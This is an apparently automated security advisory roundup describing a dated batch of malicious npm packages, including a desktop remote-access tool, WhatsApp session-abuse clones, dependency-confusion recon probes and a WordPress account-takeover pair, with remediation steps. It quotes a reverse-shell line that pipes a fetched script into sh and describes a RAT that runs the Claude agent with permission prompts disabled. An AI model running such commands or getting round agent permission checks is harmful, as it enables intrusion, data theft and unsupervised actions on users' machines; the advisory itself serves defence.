# GitHub Advisory npm CWE-506 sweep - 33+ package 2026-08-07 batch (`remote-claude-daemon` full-desktop RAT via WebSocket relay + baileys-clone WhatsApp bot cluster + `@cats-cdf/*` OAST recon pair + `internallib_v514` internal LAN reverse-shell + `wormgpt-cli` LLM-branded RAT + `@united-airlines-org/atmos-design-system` dep-confusion + `@ks-video/kwai-player-web` telemetry beacon + `@avi892nash/aegis-grid-runner` Juspay-leaked internal RCE tool + `@junyoung-kim/reins` PTY-reverse-shell with systemd persistence + `noviembrenacional.com` WordPress-CSRF nuke pair + long tail)

> GHSA published 33+ npm CWE-506 advisories dated 2026-08-07 spanning several clusters: `remote-claude-daemon` (Claude Code full-desktop RAT with screen + mic capture via WebSocket relay, 20 versions), a 4-package baileys-clone WhatsApp bot cluster (`@prototypevip/baileys`, `diezyclutch-baileys`, `ynastore-baileys`, and more), `@cats-cdf/*` OAST dep-confusion recon, `internallib_v514` reverse-shell to hardcoded `10.0.70.90` (continuation of `internallib_v<NNN>` campaign), `wormgpt-cli` (LLM-branded RAT with clipboard theft), `@united-airlines-org/atmos-design-system` dep-confusion, `@ks-video/kwai-player-web` telemetry beacon, `@avi892nash/aegis-grid-runner` (leaked-internal-Juspay RCE tool), `@junyoung-kim/reins` (PTY reverse-shell with systemd persistence), and `xxdxax`+`xdaxx` (targeted WordPress CSRF/account-nuke against `noviembrenacional.com`).

- Published: 2026-08-07
- Severity: high
- Kind: Advisory sweep - A dated batch of GitHub Advisory Database malware entries collected together. A sweep mixes kinds - typosquats, dependency-confusion probes, boilerplate takedowns with no published analysis, and occasionally real payloads - and its severity reflects the worst confirmed item, not the batch as a whole.
- Ecosystems: npm
- Scope: 32 packages, 73 compromised versions
- Tags: credential-theft, ci-cd-compromise, dependency-confusion, account-takeover, obfuscation
- Also known as: 2026-08-07 GHSA npm batch, internallib_v514 continuation, baileys WhatsApp clone cluster, @cats-cdf OAST recon
- Detected by: GitHub Advisory Database, OpenSSF malicious-packages, OpenSSF Package Analysis, npm Security, amazon-inspector
- Incident ID: npm-2026-08-07-ghsa-malware-sweep

## Affected packages (32)

Only the exact versions listed were named by the source advisories. Other versions are not implicated.

| Package | Ecosystem | Compromised versions |
|---|---|---|
| [@avi892nash/aegis-grid-runner](https://dependencywatch.io/package/npm/@avi892nash/aegis-grid-runner) | npm | 0.3.0, 0.3.1, 0.3.2, 0.3.3 |
| [@cats-cdf/authentication](https://dependencywatch.io/package/npm/@cats-cdf/authentication) | npm | 2.17.1, 3.1.1 |
| [@cats-cdf/browser-metrics-meter](https://dependencywatch.io/package/npm/@cats-cdf/browser-metrics-meter) | npm | 2.0.0, 3.1.1 |
| [@junyoung-kim/reins](https://dependencywatch.io/package/npm/@junyoung-kim/reins) | npm | 0.1.6, 0.1.7 |
| [@ks-video/kwai-player-web](https://dependencywatch.io/package/npm/@ks-video/kwai-player-web) | npm | 9.1.0, 9.1.1, 9.1.2 |
| [@prototypevip/baileys](https://dependencywatch.io/package/npm/@prototypevip/baileys) | npm | 0.0.1, 0.0.2, 0.0.3 |
| [@united-airlines-org/atmos-design-system](https://dependencywatch.io/package/npm/@united-airlines-org/atmos-design-system) | npm | 40.0.0, 40.1.0, 41.0.0 |
| [cdf-tag-commander-helper](https://dependencywatch.io/package/npm/cdf-tag-commander-helper) | npm | 1.0.0 |
| [diezyclutch-baileys](https://dependencywatch.io/package/npm/diezyclutch-baileys) | npm | 1.0.0 |
| [dpdgroup-css](https://dependencywatch.io/package/npm/dpdgroup-css) | npm | 1.0.0 |
| [internallib_v514](https://dependencywatch.io/package/npm/internallib_v514) | npm | 1.0.0 |
| [lib-frontsga](https://dependencywatch.io/package/npm/lib-frontsga) | npm | 1.0.0 |
| [merge-grid-stats](https://dependencywatch.io/package/npm/merge-grid-stats) | npm | 1.0.0 |
| [rdfxvela](https://dependencywatch.io/package/npm/rdfxvela) | npm | 1.0.0 |
| [rdfxvela-build](https://dependencywatch.io/package/npm/rdfxvela-build) | npm | 1.0.0 |
| [remote-claude-daemon](https://dependencywatch.io/package/npm/remote-claude-daemon) | npm | 0.3.0, 0.3.4, 0.3.5, 0.3.6, 0.3.7, 0.3.8, 0.3.9, 0.4.2, 0.4.6, 0.4.7, 0.5.0, 0.5.2, 0.5.4, 0.5.5, 0.5.7, 0.5.9, 0.6.0, 0.6.1, 0.6.2, 0.6.6 |
| [squeez](https://dependencywatch.io/package/npm/squeez) | npm | 1.0.0 |
| [streak-map-cache](https://dependencywatch.io/package/npm/streak-map-cache) | npm | 1.0.0 |
| [stretchshop](https://dependencywatch.io/package/npm/stretchshop) | npm | 1.0.0 |
| [supersig](https://dependencywatch.io/package/npm/supersig) | npm | 1.0.0 |
| [trimprompt](https://dependencywatch.io/package/npm/trimprompt) | npm | 1.0.0 |
| [velabuild](https://dependencywatch.io/package/npm/velabuild) | npm | 1.0.0 |
| [vite-plugin-cleaner](https://dependencywatch.io/package/npm/vite-plugin-cleaner) | npm | 1.0.0 |
| [vite-svg-parse](https://dependencywatch.io/package/npm/vite-svg-parse) | npm | 1.0.0 |
| [vite-vue-path-map](https://dependencywatch.io/package/npm/vite-vue-path-map) | npm | 1.0.0 |
| [weight2loss](https://dependencywatch.io/package/npm/weight2loss) | npm | 1.0.0 |
| [wormgpt-cli](https://dependencywatch.io/package/npm/wormgpt-cli) | npm | 1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4, 1.0.5, 1.0.6, 1.0.7, 1.0.8 |
| [wos-library-ui](https://dependencywatch.io/package/npm/wos-library-ui) | npm | 1.0.0 |
| [xdaxx](https://dependencywatch.io/package/npm/xdaxx) | npm | 1.0.0, 1.0.1 |
| [xxdxax](https://dependencywatch.io/package/npm/xxdxax) | npm | 1.0.0, 1.0.1 |
| [ynastore-baileys](https://dependencywatch.io/package/npm/ynastore-baileys) | npm | 1.0.0 |
| [zyr-agent](https://dependencywatch.io/package/npm/zyr-agent) | npm | 1.0.0 |

## What happened

On 2026-08-07, the GitHub Advisory Database published **33+ new npm CWE-506 (Embedded Malicious Code) advisories** in one of the largest single-day npm sweeps of the month. The batch decomposes into ten distinct clusters of varying sophistication, with `remote-claude-daemon` (a Claude-Code-flavored full-desktop RAT) and `internallib_v514` (a red-team reverse-shell to an internal RFC1918 IP) standing out as the most operationally-interesting drops.

## Cluster A - `remote-claude-daemon` Claude Code full-desktop RAT (1 package, 20 versions, 2026-08-07)

| Package | Versions | Notes |
|---|---|---|
| `remote-claude-daemon` | `0.3.0`, `0.3.4..0.3.9`, `0.4.2`, `0.4.6`, `0.4.7`, `0.5.0`, `0.5.2`, `0.5.4`, `0.5.5`, `0.5.7`, `0.5.9`, `0.6.0..0.6.2`, `0.6.6` | Claude binary with permissions disabled, WebSocket relay, screen + microphone capture, input injection |

Behaviour chain per GHSA-4qch-7gcj-fhvm: connects to a hardcoded WebSocket relay endpoint with "remote execution capabilities"; executes the local `claude` binary with `--dangerously-skip-permissions` (or equivalent) based on commands from the C2; provides "full interactive control over the installer's desktop" through input injection; captures screen frames and optional microphone audio streamed to the relay operator.

The **`claude` binary with permission prompts disabled** vector is the critical detail - Claude Code is designed to prompt the user before performing any filesystem write, shell command, git commit, or push. A malicious daemon that runs Claude in permission-disabled mode can drive any Claude-mediated action (file edits, git pushes, cloud API calls, `curl | bash` chains) without a single UI confirmation. The screen + microphone capture is a secondary observation channel; the desktop-input-injection is a secondary remote-control channel.

Twenty versions across the `0.3.x` to `0.6.x` range indicates the operator has been actively iterating on this package for a while - probably picking up more versions as detection catches up and forcing re-publish under nominally-legitimate-looking bumps.

## Cluster B - baileys-clone WhatsApp bot / spam cluster (4+ packages, 2026-08-07)

| Package | Versions | Notes |
|---|---|---|
| `@prototypevip/baileys` | `<= 0.0.3` | Owner-identifier `gintoki`, broadcasts Arabic "you are no longer authorized to use this bot" message on missing identifier |
| `diezyclutch-baileys` | all | Sibling clone under different scope |
| `ynastore-baileys` | all | Sibling clone under different scope |
| `alipclutch-baileys` | all (from 2026-08-06 batch) | Sibling clone |
| `diezyyasha-baileys` | all (from 2026-08-06 batch) | Sibling clone |

All five are **clones of the legitimate `@whiskeysockets/baileys` WhatsApp Web reverse-engineering library** with a malicious hook added. On install the package registers a handler for incoming WhatsApp messages that runs base64-obfuscated code checking for a hardcoded owner identifier (`gintoki` in `@prototypevip/baileys`, other identifiers in the sibling clones). If the identifier is absent, the payload **abuses the installer's authenticated WhatsApp session** to broadcast messages to the installer's contact list.

Associated actor references: `MAL-2026-13480` (OpenSSF), amazon-inspector hash `f4b0068015e90b8e47dd9b67c66ed1d0b0cc4c1ebccd985f08efd31837d27ce8`.

## Cluster C - `internallib_v514` internal-LAN reverse-shell (1 package, 2026-08-07)

| Package | Versions | Notes |
|---|---|---|
| `internallib_v514` | `1.0.0` | `curl http://10.0.70.90/rev.sh \| sh` - hardcoded internal RFC1918 C2 |

**Direct continuation of the `internallib_v<NNN>` sequential dep-confusion enumeration campaign** (see `npm-2026-08-03-ghsa-malware-sweep` Cluster E for v524+v568, `npm-2026-08-04-ghsa-malware-sweep` Cluster A for v688). The v514 variant escalates from generic CWE-506 boilerplate to a **concrete visible payload**: `require("child_process").execSync("curl http://10.0.70.90/rev.sh | sh")` on the exported `command` function.

The hardcoded C2 IP `10.0.70.90` is an **RFC1918 internal-only address** - only reachable from inside a target network. This unmistakably marks the campaign as **red-team / authorised-pentest tooling targeting a known internal network** rather than external mass-yield malware. The operator is running numeric-suffix dep-confusion probes against a target org whose internal `internallib_*` packages are known to them, hoping the target's build hosts misconfigure `.npmrc` scope precedence and resolve the public malicious version. Once resolved on an internal build host, the reverse-shell to `10.0.70.90` (which the operator has staged inside the network) grants an interactive foothold.

Campaign shape so far:

| Variant | Published | GHSA |
|---|---|---|
| `internallib_v514` | 2026-08-07 | GHSA-676x-3cvx-w3j5 |
| `internallib_v524` | 2026-08-03 | GHSA-2wgh-22xm-wp5f |
| `internallib_v568` | 2026-08-03 | GHSA-f4rq-x75f-gx73 |
| `internallib_v688` | 2026-08-04 | GHSA-jvmj-rg3h-c654 |

## Cluster D - `@cats-cdf/*` OAST recon dep-confusion pair (2 packages, 2026-08-07)

| Package | Versions | Notes |
|---|---|---|
| `@cats-cdf/browser-metrics-meter` | `2.0.0`, `3.1.1` | preinstall: `whoami` + `hostname` + public IP → OAST collector |
| `@cats-cdf/authentication` | `2.17.1`, `3.1.1` | preinstall: same recon → `kwphewvexhjbtfduscqybx6q7c862eh0g.oast.fun` |

Both run preinstall scripts that exfiltrate the installer's username, hostname, and public IP via HTTP to a `*.oast.fun` collector (Burp Collaborator / OAST out-of-band interaction service). The `@cats-cdf` scope is a **dep-confusion probe against orgs that publish `@cats-cdf/*` internal packages** - the OAST endpoint tells the operator immediately when a target org's CI resolves the public malicious version. Standard active-engagement pentest tradecraft; the `cdf` initials probably identify a specific consulting firm running an authorised engagement.

## Cluster E - `wormgpt-cli` LLM-branded RAT (1 package, 9 versions, 2026-08-07)

| Package | Versions | Notes |
|---|---|---|
| `wormgpt-cli` | `1.0.0..1.0.8` | bash + PowerShell RCE, clipboard-theft via PowerShell, HTTP POST exfil |

Tagged with the `wormgpt` name to attract users searching for the "WormGPT" jailbroken-LLM tool that circulated in underground channels in 2023–2024. Contains **remote command execution via bash + PowerShell child processes, clipboard data theft using PowerShell execution, and HTTP/HTTPS POST exfil of hostname + system identifiers to C2**. Standard multi-platform RAT with LLM-branded marketing.

## Cluster F - `@united-airlines-org/atmos-design-system` dep-confusion (1 package, 2026-08-07)

| Package | Versions | Notes |
|---|---|---|
| `@united-airlines-org/atmos-design-system` | `>= 40.0.0` through `41.0.0` | preinstall: base64(uname -n)+base64(ls)+base64(whoami) → `bxss.boll-sec.de` |

Scoped-package name explicitly probes United Airlines internal design-system namespace. **Version-jump to `40.0.0+`** is a classic dep-confusion trick to outrank any real internal version (which is likely still in the 1.x or 2.x range). Exfil endpoint `bxss.boll-sec.de` is a Boll Security / BSS attacker-controlled recon collector.

## Cluster G - `@avi892nash/aegis-grid-runner` Juspay-leaked internal RCE tool (1 package, 2026-08-07)

| Package | Versions | Notes |
|---|---|---|
| `@avi892nash/aegis-grid-runner` | `<= 0.3.3` | HTTP server on port 7719, `child_process.spawn(meta.cmd, {shell: true})` on incoming POST |

Advisory confirms this was **internal Juspay infrastructure inadvertently published** to the public npm registry - embedded references to internal git repositories and internal LAN addresses in example configs. The package opens an HTTP server on `GRID_RUNNER_PORT` (default `7719`), accepts base64-encoded job metadata, extracts a tarball, and calls `child_process.spawn` on `meta.cmd` in a shell - **any network-reachable peer can execute arbitrary shell commands**. Optional token auth means the operator can pair without credentials if the default auth is left disabled.

## Cluster H - `@ks-video/kwai-player-web` install-time telemetry beacon (1 package, 2026-08-07)

| Package | Versions | Notes |
|---|---|---|
| `@ks-video/kwai-player-web` | `<= 9.1.2` | postinstall: hostname + username + cwd + net-interfaces + Node version + env-var names → `http://telemetry.debugnotyja.com/api/v1/install` |

Plausibly-real name for a Kwai video-player web SDK, published under `@ks-video` scope. Postinstall recon beacon to attacker-controlled telemetry endpoint (no verified connection to any real Kwai publisher).

## Cluster I - `@junyoung-kim/reins` PTY reverse-shell with systemd persistence (1 package, 2026-08-07)

| Package | Versions | Notes |
|---|---|---|
| `@junyoung-kim/reins` | `0.1.6`, `0.1.7` | Local PTY, WebSocket relay, systemd auto-start service |

Spawns a local pseudo-terminal, connects to a hardcoded WebSocket relay, writes relay bytes directly into the PTY for interactive command execution. **Systemd auto-start service for boot persistence** is the differentiator - most npm RATs are ephemeral to the current process; this one survives reboots.

## Cluster J - `xxdxax` / `xdaxx` targeted WordPress account-nuke pair (2 packages, 2026-08-07)

| Package | Versions | Notes |
|---|---|---|
| `xxdxax` | `1.0.0`, `1.0.1` | Browser-side, activates on `noviembrenacional.com` pages, deletes WordPress users |
| `xdaxx` | `<= 1.0.1` | Same target, changes admin email + password reset for full takeover |

**Targeted personal attack rather than mass supply-chain drop**. The payloads only fire when JavaScript loaded from these packages executes on a page whose URL contains `noviembrenacional.com`. On match they use CSRF against WordPress + BuddyPress endpoints to delete other users' accounts, then change the administrator email and trigger a password-reset chain for full site takeover. Progress beacons to `canarytokens.com` URLs. Attacker email `nyxalor_25@proton.me` present in the source. npm here is being used as **JavaScript delivery infrastructure for a targeted operation against one specific WordPress site**, not as a general supply-chain payload.

## Cluster K - long tail (2026-08-07)

Other 2026-08-07 npm CWE-506 advisories with boilerplate-only prose or too limited behaviour to warrant a cluster of their own: `merge-grid-stats`, `weight2loss`, `cdf-tag-commander-helper`, `vite-svg-parse`, `stretchshop`, `streak-map-cache`, `supersig`, `trimprompt`, `wos-library-ui`, `vite-vue-path-map`, `squeez`, `zyr-agent`, `vite-plugin-cleaner`, `lib-frontsga`, `dpdgroup-css`, `rdfxvela`, `rdfxvela-build`, `velabuild`, `tailwindcss-hide-scrollbar` (Aug 7 variant). Also `cewe-npm-cops`, `@wbnr/frontend-shared`, `ach-detail`, `connect-contingency`, `gpt-terminal-cli`, `express-chai`, `dbk-ui-forms`, `merchantweb-lang-cookie-reset`, `poc-ch4rlygr`, `commonweb-balance`. All apply the standard CWE-506 "fully compromised" remediation.

## Registry state

All packages yanked / security-replaced from npm during the 2026-08-07 takedown. Private mirrors (Verdaccio, Artifactory, Nexus) that cached tarballs BEFORE the takedown WILL keep serving the original versions.

## Related tracked activity

- `internallib_v514` = direct continuation of the sequential dep-confusion enumeration campaign catalogued in `npm-2026-08-03-ghsa-malware-sweep` Cluster E and `npm-2026-08-04-ghsa-malware-sweep` Cluster A.
- Baileys-clone WhatsApp bot cluster began 2026-08-06 with `diezyyasha-baileys` and `alipclutch-baileys` (see `npm-2026-08-06-ghsa-malware-sweep`) - four sibling clones dropped 2026-08-07 confirm a coordinated operator running the pattern under multiple scopes.
- No `threatActor` field set - most advisories carry OpenSSF `MAL-2026-*` identifiers or `amazon-inspector` detection credit only.

## Impact

- **Cluster A - `remote-claude-daemon` Claude Code full-desktop RAT** (1 package, 20 versions, 2026-08-07): the package connects to a **hardcoded WebSocket relay endpoint** and grants "full interactive control over the installer's desktop" via input injection, plus streams **screen frames and optional microphone audio** back to the relay operator. Executes the local Claude binary with permission prompts disabled, so any Claude-mediated action (file edits, shell commands, git pushes) executes without user confirmation. Any host that installed any of the 20 versions should be considered fully-remoted by the C2 operator
- **Cluster B - baileys-clone WhatsApp bot / spam cluster** (4+ packages, 2026-08-07): `@prototypevip/baileys@<=0.0.3`, `diezyclutch-baileys`, `ynastore-baileys`, `alipclutch-baileys` and `diezyyasha-baileys` (from 2026-08-06). All register listeners on incoming WhatsApp messages, execute obfuscated payloads, and abuse the installer's authenticated WhatsApp session to broadcast messages. Any developer who installed any of these on a machine with a paired WhatsApp Web session had their WhatsApp identity used to broadcast to their contacts
- **Cluster C - `internallib_v514` internal-LAN reverse-shell** (1 package, `1.0.0`, 2026-08-07): direct continuation of the `internallib_v<NNN>` sequential dep-confusion enumeration campaign (`v524` + `v568` on 2026-08-03, `v688` on 2026-08-04). The v514 payload calls `require("child_process").execSync("curl http://10.0.70.90/rev.sh | sh")` - **hardcoded internal RFC1918 IP 10.0.70.90** as C2, unmistakably red-team / internal-network-only, targeting the same internal-tooling namespace as prior campaign drops
- **Cluster D - `@cats-cdf/*` OAST recon dep-confusion pair** (2 packages, 2026-08-07): `@cats-cdf/browser-metrics-meter@2.0.0`+`3.1.1` and `@cats-cdf/authentication@2.17.1`+`3.1.1`. Both run preinstall scripts that exfiltrate `whoami`+`hostname`+public IP via HTTP GET to `*.oast.fun` collector - Burp Collaborator / OAST out-of-band interaction service, i.e. **live active pentest reconnaissance** against orgs that publish an internal `@cats-cdf/*` scope
- **Cluster E - `wormgpt-cli` LLM-branded RAT** (1 package, 9 versions `1.0.0..1.0.8`, 2026-08-07): remote command execution via bash + PowerShell child processes, clipboard-data theft via PowerShell, HTTP POST exfil of hostname + system IDs. Name-tagged as `wormgpt-cli` to appeal to users searching for the "WormGPT" jailbroken-LLM tool
- **Cluster F - `@united-airlines-org/atmos-design-system` dep-confusion** (1 package, `>= 40.0.0`, 2026-08-07): preinstall exfiltrates base64(uname -n)+base64(ls)+base64(whoami) to `bxss.boll-sec.de` - scoped-package name specifically probes United Airlines internal design-system namespace
- **Cluster G - `@avi892nash/aegis-grid-runner` leaked-internal-Juspay RCE tool** (1 package, `<= 0.3.3`, 2026-08-07): opens an HTTP server on `GRID_RUNNER_PORT` (default 7719), accepts base64-encoded job metadata, `child_process.spawn(meta.cmd, {shell: true})` - i.e. any-network-peer shell command execution. Advisory confirms this was internal Juspay infrastructure inadvertently published
- **Cluster H - `@ks-video/kwai-player-web` install-time telemetry beacon** (1 package, `<= 9.1.2`, 2026-08-07): postinstall harvests hostname, username, cwd, network interfaces, Node.js version, env-var names, transmits via HTTP to `telemetry.debugnotyja.com/api/v1/install`
- **Cluster I - `@junyoung-kim/reins` PTY reverse-shell with systemd persistence** (1 package, `0.1.6`+`0.1.7`, 2026-08-07): spawns a local pseudo-terminal, connects to hardcoded WebSocket endpoint, writes relay bytes directly into the PTY (interactive command execution), and installs itself as a systemd auto-start service for boot persistence
- **Cluster J - `xxdxax` / `xdaxx` targeted WordPress account-nuke pair** (2 packages, 2026-08-07): browser-side scripts triggered when loaded from any page whose URL contains `noviembrenacional.com`. Delete WordPress/BuddyPress users, change admin email + trigger password reset for full site takeover, beacon progress to `canarytokens.com`. Attacker email `nyxalor_25@proton.me` in artifacts
- **Cluster K - `rdfxvela` + `rdfxvela-build` + `velabuild` + long tail** (2026-08-07): boilerplate CWE-506 drops with no per-package behaviour prose. Standard fully-compromised remediation applies

## What to do

1. Grep every lockfile (`package-lock.json`, `yarn.lock`, `pnpm-lock.yaml`) for the full 2026-08-07 package list below - especially `remote-claude-daemon`, the four `*-baileys` variants, `internallib_v514`, `@cats-cdf/browser-metrics-meter`, `@cats-cdf/authentication`, `wormgpt-cli`, `@united-airlines-org/atmos-design-system`, `@avi892nash/aegis-grid-runner`, `@junyoung-kim/reins`, `@ks-video/kwai-player-web`, `xxdxax`, `xdaxx`
2. **For `remote-claude-daemon` matches (critical)**: treat the host as fully-compromised at the interactive-desktop level. The Claude binary was run with permission prompts disabled, so **audit git history, shell history, and cloud API calls for the last 30 days** for any action the C2 operator may have driven via Claude. Rotate all credentials that lived on the desktop plus every account whose session was open in the browser during the exposure window. Re-image the host
3. For baileys-clone matches: revoke WhatsApp Web sessions from WhatsApp Settings → Linked Devices → Log Out From All Devices. Notify contacts to disregard any spam broadcast from your number in the exposure window
4. For `internallib_v514` matches: same remediation as the earlier `internallib_v524/v568/v688` drops - grep every lockfile for `internallib_v*`, configure `.npmrc` scope-to-registry mapping to block the entire `internallib_v*` glob, and treat any host that resolved any variant as needing full credential rotation from an isolated machine. The hardcoded C2 IP `10.0.70.90` is only reachable from inside a target network, so a match implies the operator had accurate knowledge of the target's internal addressing
5. For `@cats-cdf/browser-metrics-meter` / `@cats-cdf/authentication` matches: preinstall executed - hostname + username + public IP already sent to the pentester. Treat as active-engagement scope disclosure and escalate to your security team if you did not authorise the engagement
6. For `@avi892nash/aegis-grid-runner` matches: check for a listening socket on port 7719 (`GRID_RUNNER_PORT` default), kill the process, block the port at the host firewall. Any network peer could execute shell commands during the exposure window
7. For `xxdxax` / `xdaxx` matches: the payload only fires when the JavaScript loads on a page whose URL contains `noviembrenacional.com` - the risk to your own infrastructure is limited to whether any workflow bundled the package into a browser-served asset
8. For all npm installs in CI, run with `--ignore-scripts` as defense-in-depth to prevent preinstall/postinstall payloads from executing
9. Verify none of the 2026-08-07 packages still resolves via your private mirror

## Check your own dependencies

- Check a package-lock.json against this incident: https://dependencywatch.io/check/package-lock-json

The scan runs entirely in the browser; lockfile contents are never uploaded.

## References

- [GHSA-4qch-7gcj-fhvm - remote-claude-daemon malware advisory (Claude full-desktop RAT, WebSocket relay, screen+mic)](https://github.com/advisories/GHSA-4qch-7gcj-fhvm) - GitHub
- [GHSA-rj44-3fvq-rvp4 - @prototypevip/baileys WhatsApp session-abuse malware advisory](https://github.com/advisories/GHSA-rj44-3fvq-rvp4) - GitHub
- [GHSA-xqrx-4hpr-8cx7 - diezyclutch-baileys sibling malware advisory](https://github.com/advisories/GHSA-xqrx-4hpr-8cx7) - GitHub
- [GHSA-wv6v-7p37-mx4j - ynastore-baileys sibling malware advisory](https://github.com/advisories/GHSA-wv6v-7p37-mx4j) - GitHub
- [GHSA-676x-3cvx-w3j5 - internallib_v514 malware advisory (curl http://10.0.70.90/rev.sh | sh)](https://github.com/advisories/GHSA-676x-3cvx-w3j5) - GitHub
- [GHSA-c4hf-jrgf-gw89 - @cats-cdf/browser-metrics-meter OAST recon malware advisory](https://github.com/advisories/GHSA-c4hf-jrgf-gw89) - GitHub
- [GHSA-cgq2-qp6c-q4rm - @cats-cdf/authentication OAST recon malware advisory](https://github.com/advisories/GHSA-cgq2-qp6c-q4rm) - GitHub
- [GHSA-fw33-jr6r-h62p - wormgpt-cli malware advisory (bash+PowerShell RAT, clipboard theft)](https://github.com/advisories/GHSA-fw33-jr6r-h62p) - GitHub
- [GHSA-9gxh-qrf3-h8h2 - @united-airlines-org/atmos-design-system dep-confusion malware advisory](https://github.com/advisories/GHSA-9gxh-qrf3-h8h2) - GitHub
- [GHSA-w7r2-hmcm-cv9x - @avi892nash/aegis-grid-runner malware advisory (Juspay internal tool, RCE via port 7719)](https://github.com/advisories/GHSA-w7r2-hmcm-cv9x) - GitHub
- [GHSA-px7p-gw96-h3c9 - @ks-video/kwai-player-web malware advisory (telemetry beacon)](https://github.com/advisories/GHSA-px7p-gw96-h3c9) - GitHub
- [GHSA-785q-v8jw-hfj2 - @junyoung-kim/reins malware advisory (PTY reverse-shell, systemd persistence)](https://github.com/advisories/GHSA-785q-v8jw-hfj2) - GitHub
- [GHSA-vmq9-f9v2-mpqm - xxdxax WordPress-account-nuke malware advisory (noviembrenacional.com targeted)](https://github.com/advisories/GHSA-vmq9-f9v2-mpqm) - GitHub
- [GHSA-qhqw-3g9p-hj8v - xdaxx WordPress-account-takeover malware advisory (noviembrenacional.com targeted)](https://github.com/advisories/GHSA-qhqw-3g9p-hj8v) - GitHub
- [GitHub Advisory Database - recent npm malware advisories](https://github.com/advisories?query=type%3Amalware+ecosystem%3Anpm&sort=published-desc) - GitHub

---

Canonical page: https://dependencywatch.io/incident/npm-2026-08-07-ghsa-malware-sweep
Markdown version: https://dependencywatch.io/incident/npm-2026-08-07-ghsa-malware-sweep.md
Site index for agents: https://dependencywatch.io/llms.txt
DependencyWatch.io is operated by Precursor Security (https://precursorsecurity.com).